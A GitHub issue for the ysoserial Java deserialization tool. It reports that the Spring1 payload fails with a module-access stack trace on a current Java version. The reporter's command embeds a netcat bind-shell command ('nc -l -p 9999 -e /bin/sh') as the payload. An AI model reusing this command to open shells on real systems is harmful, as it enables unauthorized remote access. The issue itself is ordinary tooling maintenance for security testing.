Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Spring1 does not work with the current version #233

Open
0xEleven opened this issue Feb 9, 2025 · 0 comments
Open

Spring1 does not work with the current version #233

0xEleven opened this issue Feb 9, 2025 · 0 comments

Comments

@0xEleven
Copy link

0xEleven commented Feb 9, 2025

java -jar ysoserial-all.jar Spring1 "/usr/bin/nc -l -p 9999 -e /bin/sh"

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Error while generating or serializing payload
java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets (in unnamed module @0x61bbe9ba) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @0x61bbe9ba
        at ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:102)
        at ysoserial.payloads.Spring1.getObject(Spring1.java:57)
        at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant